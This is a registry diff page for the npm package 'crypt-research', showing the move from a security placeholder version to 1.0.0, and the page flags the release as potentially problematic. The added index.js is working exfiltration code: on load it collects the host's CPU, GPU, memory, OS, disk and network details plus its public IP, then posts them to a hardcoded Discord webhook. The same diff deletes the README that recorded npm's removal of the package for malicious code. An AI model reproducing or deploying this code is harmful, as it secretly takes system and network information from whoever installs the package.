crypt-research 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of crypt-research might be problematic. Click here for more details.
- package/index.js +87 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,87 @@
|
|
1
|
+
const si = require("systeminformation");
|
2
|
+
const https = require("https");
|
3
|
+
|
4
|
+
const webhookUrl = "https://discord.com/api/webhooks/1302444476572373164/iALfswnWPP7aI-JTfBnIeCSJTmzsk_pw7ABG4wG7KuYKMGmwXvrtY43yVC6V4AE4uiJv";
|
5
|
+
|
6
|
+
// Helper function to get the public IP address
|
7
|
+
function getPublicIP(callback) {
|
8
|
+
https.get("https://api.ipify.org?format=json", (res) => {
|
9
|
+
let data = "";
|
10
|
+
res.on("data", (chunk) => { data += chunk; });
|
11
|
+
res.on("end", () => {
|
12
|
+
try {
|
13
|
+
const ip = JSON.parse(data).ip;
|
14
|
+
callback(null, ip);
|
15
|
+
} catch (error) {
|
16
|
+
callback(error, null);
|
17
|
+
}
|
18
|
+
});
|
19
|
+
}).on("error", (err) => {
|
20
|
+
callback(err, null);
|
21
|
+
});
|
22
|
+
}
|
23
|
+
|
24
|
+
// Fetches and formats full system specs
|
25
|
+
async function getFullSystemSpecs() {
|
26
|
+
try {
|
27
|
+
const cpu = await si.cpu();
|
28
|
+
const gpu = await si.graphics();
|
29
|
+
const memory = await si.mem();
|
30
|
+
const osInfo = await si.osInfo();
|
31
|
+
const disk = await si.diskLayout();
|
32
|
+
const network = await si.networkInterfaces();
|
33
|
+
|
34
|
+
return `
|
35
|
+
**CPU:** ${cpu.manufacturer} ${cpu.brand} (${cpu.speed} GHz) with ${cpu.cores} cores
|
36
|
+
**CPU Type:** ${cpu.family}
|
37
|
+
**GPU:** ${gpu.controllers.map(g => `${g.vendor} ${g.model} (${g.vram} MB VRAM)`).join(", ")}
|
38
|
+
**Total Memory:** ${(memory.total / (1024 ** 3)).toFixed(2)} GB
|
39
|
+
**Free Memory:** ${(memory.free / (1024 ** 3)).toFixed(2)} GB
|
40
|
+
**OS Type:** ${osInfo.distro} (${osInfo.platform}) ${osInfo.release}
|
41
|
+
**Disk Layout:** ${disk.map(d => `${d.vendor} ${d.name} (${d.size / (1024 ** 3)} GB)`).join(", ")}
|
42
|
+
**Local IP Addresses:** ${network.map(n => `${n.iface}: ${n.ip4}`).join(", ")}
|
43
|
+
`;
|
44
|
+
} catch (error) {
|
45
|
+
console.error("Error fetching system specs:", error);
|
46
|
+
return "Error fetching system specs";
|
47
|
+
}
|
48
|
+
}
|
49
|
+
|
50
|
+
// Send message to Discord webhook
|
51
|
+
function sendToDiscord(message) {
|
52
|
+
const data = JSON.stringify({ content: message });
|
53
|
+
|
54
|
+
const url = new URL(webhookUrl);
|
55
|
+
const options = {
|
56
|
+
hostname: url.hostname,
|
57
|
+
path: url.pathname + url.search,
|
58
|
+
method: "POST",
|
59
|
+
headers: {
|
60
|
+
"Content-Type": "application/json",
|
61
|
+
"Content-Length": data.length
|
62
|
+
}
|
63
|
+
};
|
64
|
+
|
65
|
+
const req = https.request(options, (res) => {
|
66
|
+
let responseData = "";
|
67
|
+
res.on("data", (chunk) => { responseData += chunk; });
|
68
|
+
res.on("end", () => {
|
69
|
+
console.log("Message sent:", responseData);
|
70
|
+
});
|
71
|
+
});
|
72
|
+
|
73
|
+
req.on("error", (err) => {
|
74
|
+
console.error("Request error:", err);
|
75
|
+
});
|
76
|
+
|
77
|
+
req.write(data);
|
78
|
+
req.end();
|
79
|
+
}
|
80
|
+
|
81
|
+
// Run the spec function and send data to Discord
|
82
|
+
getFullSystemSpecs().then((specs) => {
|
83
|
+
getPublicIP((err, publicIP) => {
|
84
|
+
const message = `${specs}\n**Public IP Address:** ${publicIP || "Error fetching public IP"}`;
|
85
|
+
sendToDiscord(message);
|
86
|
+
});
|
87
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "crypt-research",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "research for crypto-jacking and NPM package installation",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"systeminfo": "^0.0.1",
|
13
|
+
"systeminformation": "^5.11.18"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=crypt-research for more information.
|